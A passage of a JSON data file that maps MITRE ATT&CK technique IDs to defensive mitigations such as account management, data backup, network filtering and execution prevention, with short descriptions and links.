"Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1160", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1156", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1093", "mitigations": [{"name": "Process Hollowing Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. ", "url": ""}]}, {"_id": "T1180", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1120", "mitigations": [{"name": "Peripheral Device Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1181", "mitigations": [{"name": "Extra Window Memory Injection Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1070", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1124", "mitigations": [{"name": "System Time Discovery Mitigation", "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.", "url": ""}]}, {"_id": "T1105", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1221", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1100", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1117", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1203", "mitigations": [{"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1102", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1001", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1085", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1003", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "url": "https://attack.mitre.org/mitigations/M1025"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Credential Access Protection", "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", "url": "https://attack.mitre.org/mitigations/M1043"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}]}, {"_id": "T1179", "mitigations": [{"name": "Hooking Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1097", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1045", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}]}, {"_id": "T1042", "mitigations": [{"name": "Change Default File Association Mitigation", "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)", "url": ""}]}, {"_id": "T1090", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1052", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1216", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1502", "mitigations": []}, {"_id": "T1063", "mitigations": [{"name": "Security Software Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1094", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1083", "mitigations": [{"name": "File and Directory Discovery Mitigation", "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1055", "mitigations": [{"name": "Behavior Prevention on Endpoint", "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.", "url": "https://attack.mitre.org/mitigations/M1040"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1487", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1157", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1060", "mitigations": [{"name": "Registry Run Keys / Startup Folder Mitigation", "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1054", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1530", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1081", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1534", "mitigations": []}, {"_id": "T1010", "mitigations": [{"name": "Application Window Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1178", "mitigations": [{"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}]}, {"_id": "T1044", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1147", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1504", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1048", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1087", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1007", "mitigations": [{"name": "System Service Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1096", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1194", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}]}, {"_id": "T1154", "mitigations": [{"name": "Trap Mitigation", "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", "url": ""}]}, {"_id": "T1199", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}]}, {"_id": "T1062", "mitigations": [{"name": "Hypervisor Mitigation", "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", "url": ""}]}, {"_id": "T1136", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}]}, {"_id": "T1188", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1175", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1500", "mitigations": [{"name": "Compile After Delivery Mitigation", "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1088", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1153", "mitigations": [{"name": "Source Mitigation", "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", "url": ""}]}, {"_id": "T1149", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1219", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1012", "mitigations": [{"name": "Query Registry Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1531", "mitigations": []}, {"_id": "T1031", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1018", "mitigations": [{"name": "Remote System Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1187", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1193", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}]}, {"_id": "T1223", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1162", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1519", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1167", "mitigations": []}, {"_id": "T1071", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1078", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Application Developer Guidance", "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.", "url": "https://attack.mitre.org/mitigations/M1013"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1074", "mitigations": [{"name": "Data Staged Mitigation", "description": "Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.", "url": ""}]}, {"_id": "T1490", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1029", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1130", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1184", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1486", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1497", "mitigations": [{"name": "Virtualization/Sandbox Evasion Mitigation", "description": "Mitigation of this technique with preventative controls may impact the adversary's decision process depending on what they're looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", "url": ""}]}, {"_id": "T1529", "mitigations": []}, {"_id": "T1131", "mitigations": [{"name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "url": "https://attack.mitre.org/mitigations/M1025"}]}, {"_id": "T1493", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1059", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1165", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1121", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, 